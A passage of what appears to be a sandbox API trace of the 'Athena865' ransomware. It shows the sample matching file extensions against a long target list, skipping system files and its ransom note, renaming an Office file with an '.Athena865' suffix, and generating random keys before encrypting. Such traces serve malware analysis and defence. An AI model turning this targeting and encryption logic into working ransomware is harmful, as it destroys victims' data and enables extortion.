[0153.151] lstrlenW (lpString="cma") returned 3 [0153.151] lstrcmpiW (lpString1="gpd", lpString2="cma") returned 1 [0153.151] lstrlenW (lpString="cpd") returned 3 [0153.151] lstrcmpiW (lpString1="gpd", lpString2="cpd") returned 1 [0153.151] lstrlenW (lpString="dacpac") returned 6 [0153.151] lstrcmpiW (lpString1="er.gpd", lpString2="dacpac") returned 1 [0153.151] lstrlenW (lpString="dad") returned 3 [0153.151] lstrcmpiW (lpString1="gpd", lpString2="dad") returned 1 [0153.151] lstrlenW (lpString="dadiagrams") returned 10 [0153.151] lstrcmpiW (lpString1="Filter.gpd", lpString2="dadiagrams") returned 1 [0153.151] lstrlenW (lpString="daschema") returned 8 [0153.151] lstrcmpiW (lpString1="lter.gpd", lpString2="daschema") returned 1 [0153.151] lstrlenW (lpString="db-journal") returned 10 [0153.151] lstrcmpiW (lpString1="Filter.gpd", lpString2="db-journal") returned 1 [0153.151] lstrlenW (lpString="db-shm") returned 6 [0153.151] lstrcmpiW (lpString1="er.gpd", lpString2="db-shm") returned 1 [0153.151] lstrlenW (lpString="db-wal") returned 6 [0153.151] lstrcmpiW (lpString1="er.gpd", lpString2="db-wal") returned 1 [0153.151] lstrlenW (lpString="dbc") returned 3 [0153.151] lstrcmpiW (lpString1="gpd", lpString2="dbc") returned 1 [0153.151] lstrlenW (lpString="dbs") returned 3 [0153.151] lstrcmpiW (lpString1="gpd", lpString2="dbs") returned 1 [0153.151] lstrlenW (lpString="dbt") returned 3 [0153.151] lstrcmpiW (lpString1="gpd", lpString2="dbt") returned 1 [0153.151] lstrlenW (lpString="dbv") returned 3 [0153.151] lstrcmpiW (lpString1="gpd", lpString2="dbv") returned 1 [0153.151] lstrlenW (lpString="dbx") returned 3 [0153.151] lstrcmpiW (lpString1="gpd", lpString2="dbx") returned 1 [0153.152] lstrlenW (lpString="dcb") returned 3 [0153.152] lstrcmpiW (lpString1="gpd", lpString2="dcb") returned 1 [0153.152] lstrlenW (lpString="dct") returned 3 [0153.152] lstrcmpiW (lpString1="gpd", lpString2="dct") returned 1 [0153.152] lstrlenW (lpString="dcx") returned 3 [0153.152] lstrcmpiW (lpString1="gpd", lpString2="dcx") returned 1 [0153.152] lstrlenW (lpString="ddl") returned 3 [0153.152] lstrcmpiW (lpString1="gpd", lpString2="ddl") returned 1 [0153.152] lstrlenW (lpString="dlis") returned 4 [0153.152] lstrcmpiW (lpString1=".gpd", lpString2="dlis") returned -1 [0153.152] lstrlenW (lpString="dp1") returned 3 [0153.152] lstrcmpiW (lpString1="gpd", lpString2="dp1") returned 1 [0153.152] lstrlenW (lpString="dqy") returned 3 [0153.152] lstrcmpiW (lpString1="gpd", lpString2="dqy") returned 1 [0153.152] lstrlenW (lpString="dsk") returned 3 [0153.152] lstrcmpiW (lpString1="gpd", lpString2="dsk") returned 1 [0153.152] lstrlenW (lpString="dsn") returned 3 [0153.152] lstrcmpiW (lpString1="gpd", lpString2="dsn") returned 1 [0153.152] lstrlenW (lpString="dtsx") returned 4 [0153.152] lstrcmpiW (lpString1=".gpd", lpString2="dtsx") returned -1 [0153.152] lstrlenW (lpString="dxl") returned 3 [0153.152] lstrcmpiW (lpString1="gpd", lpString2="dxl") returned 1 [0153.152] lstrlenW (lpString="eco") returned 3 [0153.152] lstrcmpiW (lpString1="gpd", lpString2="eco") returned 1 [0153.152] lstrlenW (lpString="ecx") returned 3 [0153.152] lstrcmpiW (lpString1="gpd", lpString2="ecx") returned 1 [0153.152] lstrlenW (lpString="edb") returned 3 [0153.152] lstrcmpiW (lpString1="gpd", lpString2="edb") returned 1 [0153.153] lstrlenW (lpString="epim") returned 4 [0153.153] lstrcmpiW (lpString1=".gpd", lpString2="epim") returned -1 [0153.153] lstrlenW (lpString="fcd") returned 3 [0153.153] lstrcmpiW (lpString1="gpd", lpString2="fcd") returned 1 [0153.153] lstrlenW (lpString="fdb") returned 3 [0153.153] lstrcmpiW (lpString1="gpd", lpString2="fdb") returned 1 [0153.153] lstrlenW (lpString="fic") returned 3 [0153.153] lstrcmpiW (lpString1="gpd", lpString2="fic") returned 1 [0153.153] lstrlenW (lpString="flexolibrary") returned 12 [0153.153] lstrcmpiW (lpString1="teFilter.gpd", lpString2="flexolibrary") returned 1 [0153.153] lstrlenW (lpString="fm5") returned 3 [0153.153] lstrcmpiW (lpString1="gpd", lpString2="fm5") returned 1 [0153.153] lstrlenW (lpString="fmp") returned 3 [0153.153] lstrcmpiW (lpString1="gpd", lpString2="fmp") returned 1 [0153.153] lstrlenW (lpString="fmp12") returned 5 [0153.153] lstrcmpiW (lpString1="r.gpd", lpString2="fmp12") returned 1 [0153.153] lstrlenW (lpString="fmpsl") returned 5 [0153.153] lstrcmpiW (lpString1="r.gpd", lpString2="fmpsl") returned 1 [0153.153] lstrlenW (lpString="fol") returned 3 [0153.153] lstrcmpiW (lpString1="gpd", lpString2="fol") returned 1 [0153.153] lstrlenW (lpString="fp3") returned 3 [0153.153] lstrcmpiW (lpString1="gpd", lpString2="fp3") returned 1 [0153.153] lstrlenW (lpString="fp4") returned 3 [0153.153] lstrcmpiW (lpString1="gpd", lpString2="fp4") returned 1 [0153.153] lstrlenW (lpString="fp5") returned 3 [0153.153] lstrcmpiW (lpString1="gpd", lpString2="fp5") returned 1 [0153.153] lstrlenW (lpString="fp7") returned 3 [0153.153] lstrcmpiW (lpString1="gpd", lpString2="fp7") returned 1 [0153.153] lstrlenW (lpString="fpt") returned 3 [0153.154] lstrcmpiW (lpString1="gpd", lpString2="fpt") returned 1 [0153.154] lstrlenW (lpString="frm") returned 3 [0153.154] lstrcmpiW (lpString1="gpd", lpString2="frm") returned 1 [0153.154] lstrlenW (lpString="gdb") returned 3 [0153.154] lstrcmpiW (lpString1="gpd", lpString2="gdb") returned 1 [0153.154] lstrlenW (lpString="gdb") returned 3 [0153.154] lstrcmpiW (lpString1="gpd", lpString2="gdb") returned 1 [0153.154] lstrlenW (lpString="grdb") returned 4 [0153.154] lstrcmpiW (lpString1=".gpd", lpString2="grdb") returned -1 [0153.154] lstrlenW (lpString="gwi") returned 3 [0153.154] lstrcmpiW (lpString1="gpd", lpString2="gwi") returned -1 [0153.154] lstrlenW (lpString="hdb") returned 3 [0153.154] lstrcmpiW (lpString1="gpd", lpString2="hdb") returned -1 [0153.154] lstrlenW (lpString="his") returned 3 [0153.154] lstrcmpiW (lpString1="gpd", lpString2="his") returned -1 [0153.154] lstrlenW (lpString="ib") returned 2 [0153.154] lstrcmpiW (lpString1="pd", lpString2="ib") returned 1 [0153.154] lstrlenW (lpString="idb") returned 3 [0153.154] lstrcmpiW (lpString1="gpd", lpString2="idb") returned -1 [0153.154] lstrlenW (lpString="ihx") returned 3 [0153.154] lstrcmpiW (lpString1="gpd", lpString2="ihx") returned -1 [0153.154] lstrlenW (lpString="itdb") returned 4 [0153.154] lstrcmpiW (lpString1=".gpd", lpString2="itdb") returned -1 [0153.154] lstrlenW (lpString="itw") returned 3 [0153.154] lstrcmpiW (lpString1="gpd", lpString2="itw") returned -1 [0153.154] lstrlenW (lpString="jet") returned 3 [0153.154] lstrcmpiW (lpString1="gpd", lpString2="jet") returned -1 [0153.154] lstrlenW (lpString="jtx") returned 3 [0153.155] lstrcmpiW (lpString1="gpd", lpString2="jtx") returned -1 [0153.155] lstrlenW (lpString="kdb") returned 3 [0153.155] lstrcmpiW (lpString1="gpd", lpString2="kdb") returned -1 [0153.155] lstrlenW (lpString="kexi") returned 4 [0153.155] lstrcmpiW (lpString1=".gpd", lpString2="kexi") returned -1 [0153.155] lstrlenW (lpString="kexic") returned 5 [0153.155] lstrcmpiW (lpString1="r.gpd", lpString2="kexic") returned 1 [0153.155] lstrlenW (lpString="kexis") returned 5 [0153.155] lstrcmpiW (lpString1="r.gpd", lpString2="kexis") returned 1 [0153.155] lstrlenW (lpString="lgc") returned 3 [0153.155] lstrcmpiW (lpString1="gpd", lpString2="lgc") returned -1 [0153.155] lstrlenW (lpString="lwx") returned 3 [0153.155] lstrcmpiW (lpString1="gpd", lpString2="lwx") returned -1 [0153.155] lstrlenW (lpString="maf") returned 3 [0153.155] lstrcmpiW (lpString1="gpd", lpString2="maf") returned -1 [0153.155] lstrlenW (lpString="maq") returned 3 [0153.155] lstrcmpiW (lpString1="gpd", lpString2="maq") returned -1 [0153.155] lstrlenW (lpString="mar") returned 3 [0153.155] lstrcmpiW (lpString1="gpd", lpString2="mar") returned -1 [0153.155] lstrlenW (lpString="marshal") returned 7 [0153.155] lstrcmpiW (lpString1="ter.gpd", lpString2="marshal") returned 1 [0153.155] lstrlenW (lpString="mas") returned 3 [0153.155] lstrcmpiW (lpString1="gpd", lpString2="mas") returned -1 [0153.155] lstrlenW (lpString="mav") returned 3 [0153.155] lstrcmpiW (lpString1="gpd", lpString2="mav") returned -1 [0153.155] lstrlenW (lpString="maw") returned 3 [0153.155] lstrcmpiW (lpString1="gpd", lpString2="maw") returned -1 [0153.155] lstrlenW (lpString="mdbhtml") returned 7 [0153.155] lstrcmpiW (lpString1="ter.gpd", lpString2="mdbhtml") returned 1 [0153.156] lstrlenW (lpString="mdn") returned 3 [0153.156] lstrcmpiW (lpString1="gpd", lpString2="mdn") returned -1 [0153.156] lstrlenW (lpString="mdt") returned 3 [0153.156] lstrcmpiW (lpString1="gpd", lpString2="mdt") returned -1 [0153.156] lstrlenW (lpString="mfd") returned 3 [0153.156] lstrcmpiW (lpString1="gpd", lpString2="mfd") returned -1 [0153.156] lstrlenW (lpString="mpd") returned 3 [0153.156] lstrcmpiW (lpString1="gpd", lpString2="mpd") returned -1 [0153.156] lstrlenW (lpString="mrg") returned 3 [0153.156] lstrcmpiW (lpString1="gpd", lpString2="mrg") returned -1 [0153.156] lstrlenW (lpString="mud") returned 3 [0153.156] lstrcmpiW (lpString1="gpd", lpString2="mud") returned -1 [0153.156] lstrlenW (lpString="mwb") returned 3 [0153.156] lstrcmpiW (lpString1="gpd", lpString2="mwb") returned -1 [0153.156] lstrlenW (lpString="myd") returned 3 [0153.156] lstrcmpiW (lpString1="gpd", lpString2="myd") returned -1 [0153.156] lstrlenW (lpString="ndf") returned 3 [0153.156] lstrcmpiW (lpString1="gpd", lpString2="ndf") returned -1 [0153.156] lstrlenW (lpString="nnt") returned 3 [0153.156] lstrcmpiW (lpString1="gpd", lpString2="nnt") returned -1 [0153.156] lstrlenW (lpString="nrmlib") returned 6 [0153.156] lstrcmpiW (lpString1="er.gpd", lpString2="nrmlib") returned -1 [0153.156] lstrlenW (lpString="ns2") returned 3 [0153.156] lstrcmpiW (lpString1="gpd", lpString2="ns2") returned -1 [0153.156] lstrlenW (lpString="ns3") returned 3 [0153.156] lstrcmpiW (lpString1="gpd", lpString2="ns3") returned -1 [0153.156] lstrlenW (lpString="ns4") returned 3 [0153.156] lstrcmpiW (lpString1="gpd", lpString2="ns4") returned -1 [0153.157] lstrlenW (lpString="nsf") returned 3 [0153.157] lstrcmpiW (lpString1="gpd", lpString2="nsf") returned -1 [0153.157] lstrlenW (lpString="nv") returned 2 [0153.157] lstrcmpiW (lpString1="pd", lpString2="nv") returned 1 [0153.157] lstrlenW (lpString="nv2") returned 3 [0153.157] lstrcmpiW (lpString1="gpd", lpString2="nv2") returned -1 [0153.157] lstrlenW (lpString="nwdb") returned 4 [0153.157] lstrcmpiW (lpString1=".gpd", lpString2="nwdb") returned -1 [0153.157] lstrlenW (lpString="nyf") returned 3 [0153.157] lstrcmpiW (lpString1="gpd", lpString2="nyf") returned -1 [0153.157] lstrlenW (lpString="odb") returned 3 [0153.157] lstrcmpiW (lpString1="gpd", lpString2="odb") returned -1 [0153.157] lstrlenW (lpString="odb") returned 3 [0153.157] lstrcmpiW (lpString1="gpd", lpString2="odb") returned -1 [0153.157] lstrlenW (lpString="oqy") returned 3 [0153.157] lstrcmpiW (lpString1="gpd", lpString2="oqy") returned -1 [0153.157] lstrlenW (lpString="ora") returned 3 [0153.157] lstrcmpiW (lpString1="gpd", lpString2="ora") returned -1 [0153.157] lstrlenW (lpString="orx") returned 3 [0153.157] lstrcmpiW (lpString1="gpd", lpString2="orx") returned -1 [0153.157] lstrlenW (lpString="owc") returned 3 [0153.157] lstrcmpiW (lpString1="gpd", lpString2="owc") returned -1 [0153.157] lstrlenW (lpString="p96") returned 3 [0153.157] lstrcmpiW (lpString1="gpd", lpString2="p96") returned -1 [0153.157] lstrlenW (lpString="p97") returned 3 [0153.157] lstrcmpiW (lpString1="gpd", lpString2="p97") returned -1 [0153.157] lstrlenW (lpString="pan") returned 3 [0153.157] lstrcmpiW (lpString1="gpd", lpString2="pan") returned -1 [0153.157] lstrlenW (lpString="pdb") returned 3 [0153.158] lstrcmpiW (lpString1="gpd", lpString2="pdb") returned -1 [0153.158] lstrlenW (lpString="pdm") returned 3 [0153.158] lstrcmpiW (lpString1="gpd", lpString2="pdm") returned -1 [0153.158] lstrlenW (lpString="pnz") returned 3 [0153.158] lstrcmpiW (lpString1="gpd", lpString2="pnz") returned -1 [0153.158] lstrlenW (lpString="qry") returned 3 [0153.158] lstrcmpiW (lpString1="gpd", lpString2="qry") returned -1 [0153.158] lstrlenW (lpString="qvd") returned 3 [0153.158] lstrcmpiW (lpString1="gpd", lpString2="qvd") returned -1 [0153.158] lstrlenW (lpString="rbf") returned 3 [0153.158] lstrcmpiW (lpString1="gpd", lpString2="rbf") returned -1 [0153.158] lstrlenW (lpString="rctd") returned 4 [0153.158] lstrcmpiW (lpString1=".gpd", lpString2="rctd") returned -1 [0153.158] lstrlenW (lpString="rod") returned 3 [0153.158] lstrcmpiW (lpString1="gpd", lpString2="rod") returned -1 [0153.158] lstrlenW (lpString="rodx") returned 4 [0153.158] lstrcmpiW (lpString1=".gpd", lpString2="rodx") returned -1 [0153.158] lstrlenW (lpString="rpd") returned 3 [0153.158] lstrcmpiW (lpString1="gpd", lpString2="rpd") returned -1 [0153.158] lstrlenW (lpString="rsd") returned 3 [0153.158] lstrcmpiW (lpString1="gpd", lpString2="rsd") returned -1 [0153.158] lstrlenW (lpString="sas7bdat") returned 8 [0153.158] lstrcmpiW (lpString1="lter.gpd", lpString2="sas7bdat") returned -1 [0153.158] lstrlenW (lpString="sbf") returned 3 [0153.158] lstrcmpiW (lpString1="gpd", lpString2="sbf") returned -1 [0153.158] lstrlenW (lpString="scx") returned 3 [0153.158] lstrcmpiW (lpString1="gpd", lpString2="scx") returned -1 [0153.158] lstrlenW (lpString="sdb") returned 3 [0153.159] lstrcmpiW (lpString1="gpd", lpString2="sdb") returned -1 [0153.159] lstrlenW (lpString="sdc") returned 3 [0153.159] lstrcmpiW (lpString1="gpd", lpString2="sdc") returned -1 [0153.159] lstrlenW (lpString="sdf") returned 3 [0153.159] lstrcmpiW (lpString1="gpd", lpString2="sdf") returned -1 [0153.159] lstrlenW (lpString="sis") returned 3 [0153.159] lstrcmpiW (lpString1="gpd", lpString2="sis") returned -1 [0153.159] lstrlenW (lpString="spq") returned 3 [0153.159] lstrcmpiW (lpString1="gpd", lpString2="spq") returned -1 [0153.159] lstrlenW (lpString="te") returned 2 [0153.159] lstrcmpiW (lpString1="pd", lpString2="te") returned -1 [0153.159] lstrlenW (lpString="teacher") returned 7 [0153.159] lstrcmpiW (lpString1="ter.gpd", lpString2="teacher") returned 1 [0153.159] lstrlenW (lpString="tmd") returned 3 [0153.159] lstrcmpiW (lpString1="gpd", lpString2="tmd") returned -1 [0153.159] lstrlenW (lpString="tps") returned 3 [0153.159] lstrcmpiW (lpString1="gpd", lpString2="tps") returned -1 [0153.159] lstrlenW (lpString="trc") returned 3 [0153.159] lstrcmpiW (lpString1="gpd", lpString2="trc") returned -1 [0153.159] lstrlenW (lpString="trc") returned 3 [0153.159] lstrcmpiW (lpString1="gpd", lpString2="trc") returned -1 [0153.159] lstrlenW (lpString="trm") returned 3 [0153.159] lstrcmpiW (lpString1="gpd", lpString2="trm") returned -1 [0153.159] lstrlenW (lpString="udb") returned 3 [0153.159] lstrcmpiW (lpString1="gpd", lpString2="udb") returned -1 [0153.159] lstrlenW (lpString="udl") returned 3 [0153.159] lstrcmpiW (lpString1="gpd", lpString2="udl") returned -1 [0153.159] lstrlenW (lpString="usr") returned 3 [0153.159] lstrcmpiW (lpString1="gpd", lpString2="usr") returned -1 [0153.160] lstrlenW (lpString="v12") returned 3 [0153.160] lstrcmpiW (lpString1="gpd", lpString2="v12") returned -1 [0153.160] lstrlenW (lpString="vis") returned 3 [0153.160] lstrcmpiW (lpString1="gpd", lpString2="vis") returned -1 [0153.160] lstrlenW (lpString="vpd") returned 3 [0153.160] lstrcmpiW (lpString1="gpd", lpString2="vpd") returned -1 [0153.160] lstrlenW (lpString="vvv") returned 3 [0153.160] lstrcmpiW (lpString1="gpd", lpString2="vvv") returned -1 [0153.160] lstrlenW (lpString="wdb") returned 3 [0153.160] lstrcmpiW (lpString1="gpd", lpString2="wdb") returned -1 [0153.160] lstrlenW (lpString="wmdb") returned 4 [0153.160] lstrcmpiW (lpString1=".gpd", lpString2="wmdb") returned -1 [0153.160] lstrlenW (lpString="wrk") returned 3 [0153.160] lstrcmpiW (lpString1="gpd", lpString2="wrk") returned -1 [0153.160] lstrlenW (lpString="xdb") returned 3 [0153.160] lstrcmpiW (lpString1="gpd", lpString2="xdb") returned -1 [0153.160] lstrlenW (lpString="xld") returned 3 [0153.160] lstrcmpiW (lpString1="gpd", lpString2="xld") returned -1 [0153.160] lstrlenW (lpString="xmlff") returned 5 [0153.160] lstrcmpiW (lpString1="r.gpd", lpString2="xmlff") returned -1 [0153.160] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendtoOneNoteFilter.gpd.Athena865") returned 84 [0153.160] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendtoOneNoteFilter.gpd" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenotefilter.gpd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendtoOneNoteFilter.gpd.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenotefilter.gpd.athena865"), dwFlags=0x1) returned 1 [0153.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendtoOneNoteFilter.gpd.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenotefilter.gpd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0153.162] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=81) returned 1 [0153.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0153.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0153.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0153.163] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0153.164] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0153.164] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0153.164] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x360, lpName=0x0) returned 0x154 [0153.173] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x360) returned 0x100000 [0153.174] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0153.175] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0153.175] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0153.175] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0153.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0153.175] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0153.175] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0153.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0153.175] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0153.175] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0153.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0153.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0153.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0153.176] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0153.176] CloseHandle (hObject=0x154) returned 1 [0153.176] CloseHandle (hObject=0x17c) returned 1 [0153.176] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0153.176] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0153.176] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0153.176] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a1fd700, ftCreationTime.dwHighDateTime=0x1c8e624, ftLastAccessTime.dwLowDateTime=0x5983e610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a1fd700, ftLastWriteTime.dwHighDateTime=0x1c8e624, nFileSizeHigh=0x0, nFileSizeLow=0x1ca2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendToOneNoteNames.gpd", cAlternateFileName="SENDTO~3.GPD")) returned 1 [0153.176] lstrcmpiW (lpString1="SendToOneNoteNames.gpd", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0153.176] lstrcmpiW (lpString1="SendToOneNoteNames.gpd", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0153.176] lstrcmpiW (lpString1="SendToOneNoteNames.gpd", lpString2=".") returned 1 [0153.176] lstrcmpiW (lpString1="SendToOneNoteNames.gpd", lpString2="..") returned 1 [0153.176] lstrcmpiW (lpString1="SendToOneNoteNames.gpd", lpString2="windows") returned -1 [0153.176] lstrcmpiW (lpString1="SendToOneNoteNames.gpd", lpString2="bootmgr") returned 1 [0153.176] lstrcmpiW (lpString1="SendToOneNoteNames.gpd", lpString2="temp") returned -1 [0153.176] lstrcmpiW (lpString1="SendToOneNoteNames.gpd", lpString2="pagefile.sys") returned 1 [0153.176] lstrcmpiW (lpString1="SendToOneNoteNames.gpd", lpString2="boot") returned 1 [0153.176] lstrcmpiW (lpString1="SendToOneNoteNames.gpd", lpString2="ids.txt") returned 1 [0153.176] lstrcmpiW (lpString1="SendToOneNoteNames.gpd", lpString2="ntuser.dat") returned 1 [0153.176] lstrcmpiW (lpString1="SendToOneNoteNames.gpd", lpString2="perflogs") returned 1 [0153.177] lstrcmpiW (lpString1="SendToOneNoteNames.gpd", lpString2="MSBuild") returned 1 [0153.177] lstrlenW (lpString="SendToOneNoteNames.gpd") returned 22 [0153.177] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SendToOneNoteNames.gpd" | out: lpString1="SendToOneNoteNames.gpd") returned="SendToOneNoteNames.gpd" [0153.177] lstrlenW (lpString="SendToOneNoteNames.gpd") returned 22 [0153.177] lstrlenW (lpString="Athena865") returned 9 [0153.177] lstrcmpiW (lpString1="Names.gpd", lpString2="Athena865") returned 1 [0153.177] lstrlenW (lpString=".dll") returned 4 [0153.177] lstrcmpiW (lpString1="SendToOneNoteNames.gpd", lpString2=".dll") returned 1 [0153.177] lstrlenW (lpString=".lnk") returned 4 [0153.177] lstrcmpiW (lpString1="SendToOneNoteNames.gpd", lpString2=".lnk") returned 1 [0153.177] lstrlenW (lpString=".ini") returned 4 [0153.177] lstrcmpiW (lpString1="SendToOneNoteNames.gpd", lpString2=".ini") returned 1 [0153.177] lstrlenW (lpString=".sys") returned 4 [0153.177] lstrcmpiW (lpString1="SendToOneNoteNames.gpd", lpString2=".sys") returned 1 [0153.177] lstrlenW (lpString="SendToOneNoteNames.gpd") returned 22 [0153.177] lstrlenW (lpString="bak") returned 3 [0153.177] lstrcmpiW (lpString1="gpd", lpString2="bak") returned 1 [0153.177] lstrlenW (lpString="ba_") returned 3 [0153.177] lstrcmpiW (lpString1="gpd", lpString2="ba_") returned 1 [0153.177] lstrlenW (lpString="dbb") returned 3 [0153.177] lstrcmpiW (lpString1="gpd", lpString2="dbb") returned 1 [0153.177] lstrlenW (lpString="vmdk") returned 4 [0153.177] lstrcmpiW (lpString1=".gpd", lpString2="vmdk") returned -1 [0153.177] lstrlenW (lpString="rar") returned 3 [0153.177] lstrcmpiW (lpString1="gpd", lpString2="rar") returned -1 [0153.177] lstrlenW (lpString="zip") returned 3 [0153.177] lstrcmpiW (lpString1="gpd", lpString2="zip") returned -1 [0153.177] lstrlenW (lpString="tgz") returned 3 [0153.178] lstrcmpiW (lpString1="gpd", lpString2="tgz") returned -1 [0153.178] lstrlenW (lpString="vbox") returned 4 [0153.178] lstrcmpiW (lpString1=".gpd", lpString2="vbox") returned -1 [0153.178] lstrlenW (lpString="vdi") returned 3 [0153.178] lstrcmpiW (lpString1="gpd", lpString2="vdi") returned -1 [0153.178] lstrlenW (lpString="vhd") returned 3 [0153.178] lstrcmpiW (lpString1="gpd", lpString2="vhd") returned -1 [0153.178] lstrlenW (lpString="vhdx") returned 4 [0153.178] lstrcmpiW (lpString1=".gpd", lpString2="vhdx") returned -1 [0153.178] lstrlenW (lpString="avhd") returned 4 [0153.178] lstrcmpiW (lpString1=".gpd", lpString2="avhd") returned -1 [0153.178] lstrlenW (lpString="db") returned 2 [0153.178] lstrcmpiW (lpString1="pd", lpString2="db") returned 1 [0153.178] lstrlenW (lpString="db2") returned 3 [0153.178] lstrcmpiW (lpString1="gpd", lpString2="db2") returned 1 [0153.178] lstrlenW (lpString="db3") returned 3 [0153.178] lstrcmpiW (lpString1="gpd", lpString2="db3") returned 1 [0153.178] lstrlenW (lpString="dbf") returned 3 [0153.178] lstrcmpiW (lpString1="gpd", lpString2="dbf") returned 1 [0153.178] lstrlenW (lpString="mdf") returned 3 [0153.178] lstrcmpiW (lpString1="gpd", lpString2="mdf") returned -1 [0153.179] lstrlenW (lpString="mdb") returned 3 [0153.179] lstrcmpiW (lpString1="gpd", lpString2="mdb") returned -1 [0153.179] lstrlenW (lpString="sql") returned 3 [0153.179] lstrcmpiW (lpString1="gpd", lpString2="sql") returned -1 [0153.179] lstrlenW (lpString="sqlite") returned 6 [0153.179] lstrcmpiW (lpString1="es.gpd", lpString2="sqlite") returned -1 [0153.179] lstrlenW (lpString="sqlite3") returned 7 [0153.179] lstrcmpiW (lpString1="mes.gpd", lpString2="sqlite3") returned -1 [0153.179] lstrlenW (lpString="sqlitedb") returned 8 [0153.179] lstrcmpiW (lpString1="ames.gpd", lpString2="sqlitedb") returned -1 [0153.179] lstrlenW (lpString="xml") returned 3 [0153.179] lstrcmpiW (lpString1="gpd", lpString2="xml") returned -1 [0153.179] lstrlenW (lpString="$er") returned 3 [0153.179] lstrcmpiW (lpString1="gpd", lpString2="$er") returned 1 [0153.179] lstrlenW (lpString="4dd") returned 3 [0153.179] lstrcmpiW (lpString1="gpd", lpString2="4dd") returned 1 [0153.179] lstrlenW (lpString="4dl") returned 3 [0153.179] lstrcmpiW (lpString1="gpd", lpString2="4dl") returned 1 [0153.179] lstrlenW (lpString="^^^") returned 3 [0153.179] lstrcmpiW (lpString1="gpd", lpString2="^^^") returned 1 [0153.179] lstrlenW (lpString="abs") returned 3 [0153.179] lstrcmpiW (lpString1="gpd", lpString2="abs") returned 1 [0153.179] lstrlenW (lpString="abx") returned 3 [0153.179] lstrcmpiW (lpString1="gpd", lpString2="abx") returned 1 [0153.179] lstrlenW (lpString="accdb") returned 5 [0153.180] lstrcmpiW (lpString1="s.gpd", lpString2="accdb") returned 1 [0153.180] lstrlenW (lpString="accdc") returned 5 [0153.180] lstrcmpiW (lpString1="s.gpd", lpString2="accdc") returned 1 [0153.180] lstrlenW (lpString="accde") returned 5 [0153.180] lstrcmpiW (lpString1="s.gpd", lpString2="accde") returned 1 [0153.180] lstrlenW (lpString="accdr") returned 5 [0153.180] lstrcmpiW (lpString1="s.gpd", lpString2="accdr") returned 1 [0153.180] lstrlenW (lpString="accdt") returned 5 [0153.180] lstrcmpiW (lpString1="s.gpd", lpString2="accdt") returned 1 [0153.180] lstrlenW (lpString="accdw") returned 5 [0153.180] lstrcmpiW (lpString1="s.gpd", lpString2="accdw") returned 1 [0153.180] lstrlenW 